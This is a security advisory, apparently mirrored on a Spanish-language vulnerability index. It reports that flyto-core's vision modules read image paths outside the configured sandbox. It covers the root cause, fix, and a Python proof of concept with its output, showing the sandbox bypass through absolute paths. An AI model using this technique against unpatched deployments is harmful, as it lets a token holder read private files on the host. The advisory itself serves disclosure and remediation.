GHSA-JPMX-7XH3-VQ6V
Unconfined local image reads in vision.analyze, vision.compare, and ai.vision.analyze
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-JPMX-7XH3-VQ6V divulgada · CVSS 7.7 (GitHub) | |
| Remediación | Parche 2.28.1 | flyto-core · 0 d desde divulgación | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
### Summary
The three vision modules accept a caller-supplied local image path and read it with no FLYTO_SANDBOX_DIR confinement, base64-encoding the bytes into the outgoing vision API request. A token-holding caller can read any image or document on the host that the server process can open, and recover text-bearing content through the returned vision analysis.
### Affected
- Component: flyto-core atomic vision and ai modules
- Files: src/core/modules/atomic/vision/analyze.py (line 283), src/core/modules/atomic/vision/compare.py (line 293), src/core/modules/atomic/ai/vision_analyze.py (line 247)
- Versions: v2.28.0
- Deployment: default; the modules are registered and allowed; vision.analyze and vision.compare only reject a '..' substring, and ai.vision.analyze performs no path check at all
### Root cause
The three readers never call validate_path_with_env_config. vision._prepare_image and vision._load_image expand the user path and reject only strings containing '..', so absolute paths outside the sandbox pass; ai.vision.analyze opens image_path directly after an os.path.exists check. The bytes are then base64-encoded and shipped to the OpenAI or Anthropic vision API, and the model's transcription of the image is returned to the caller. This mirrors the read half of the advisory classes the project already fixed (GHSA-wc94-386q-5478), while the write half of the same product surface was hardened (GHSA-p34x-fmph-9fjx).
Reproduction
Environment
python3 -m venv /tmp/flyto-venv
/tmp/flyto-venv/bin/pip install -e .
export FLYTO_SANDBOX_DIR=/tmp/flyto-sandbox
mkdir -p /tmp/flyto-sandbox /tmp/flyto-outside
# place any PNG file at /tmp/flyto-outside/secret-shot.pngProof of concept
# save as /tmp/poc_vision.py and run with /tmp/flyto-venv/bin/python -u /tmp/poc_vision.py
import asyncio, base64, json, os, sys
sys.path.insert(0, '/home/lab/flyto-core/src')
os.environ['FLYTO_SANDBOX_DIR'] = '/tmp/flyto-sandbox'
PNG = base64.b64decode('iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mP8z8BQDwAEhQGAhKmMIQAAAABJRU5ErkJggg==')
open('/tmp/flyto-outside/secret-shot.png', 'wb').write(PNG)
captured = {}
class FakeResponse:
status = 200
async def __aenter__(self): return self
async def __aexit__(self, *a): return False
async def json(self): return {'choices': [{'message': {'content': 'ANALYSIS: image shows internal credentials'}}]}
async def text(self): return 'err'
class FakeSession:
def __init__(self, *a, **k): pass
async def __aenter__(self): return self
async def __aexit__(self, *a): return False
def post(self, url, **kw):
captured['payload'] = kw.get('json') or {}
captured['headers'] = kw.get('headers') or {}
return FakeResponse()
import aiohttp
aiohttp.ClientSession = FakeSession
from core.modules import atomic
from core.modules.registry.core import ModuleRegistry
async def main():
b64 = base64.b64encode(PNG).decode()
mod = ModuleRegistry.get('vision.compare')({
'image_before': '/tmp/flyto-outside/secret-shot.png',
'image_after': '/tmp/flyto-outside/secret-shot.png',
'comparison_type': 'visual_regression', 'api_key': 'sk_ATTACKER_OWN_KEY'}, {})
res = await mod.run()
print('vision.compare ok:', res.get('ok'))
print('outside-sandbox bytes shipped:', b64 in json.dumps(captured.get('payload', {})))
mod2 = ModuleRegistry.get('vision.analyze')({
'image': '/tmp/flyto-outside/secret-shot.png', 'prompt': 'transcribe',
'api_key': 'sk_ATTACKER_OWN_KEY'}, {})
res2 = await mod2.run()
print('vision.analyze ok:', res2.get('ok'), '| outside bytes shipped:',
b64 in json.dumps(captured.get('payload', {})))
try:
mod3 = ModuleRegistry.get('file.read')({'path': '/tmp/flyto-outside/secret-shot.png'}, {})
await mod3.run()
print('file.read NOT blocked (unexpected)')
except Exception as e:
print('file.read (guarded twin) refuses same path:', type(e).__name__, str(e)[:60])
asyncio.run(main())Observed result
vision.compare ok: True
outside-sandbox bytes shipped: True
vision.analyze ok: True | outside bytes shipped: True
file.read (guarded twin) refuses same path: Exception Module file.read failed after 2 attempts: [PATH_TRAVERSAL] ...### Impact
- Any image, screenshot, scan, or photographed document on the host can be read by a token holder and its content recovered through the vision analysis text.
- The sandbox boundary is crossed without any operator configuration or permission grant.
- The same unconfined pattern covers ai.vision.analyze, which has no path check whatsoever.
### Fix
Call validate_path_with_env_config on the resolved local path in vision.analyze._prepare_image, vision.compare._load_image, and ai.vision.analyze before open, mirroring the write-half fix from GHSA-p34x-fmph-9fjx. Add regression tests that assert a sandbox-external image path is refused by all three modules.
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
pypiflyto-core |
Corregida | 2.28.1 | 0 d | 2.41.0 no afectada |
2.28.1Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/flytohub/flyto-core/security/advisories/GHSA-jpmx-7xh3-vq6vLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
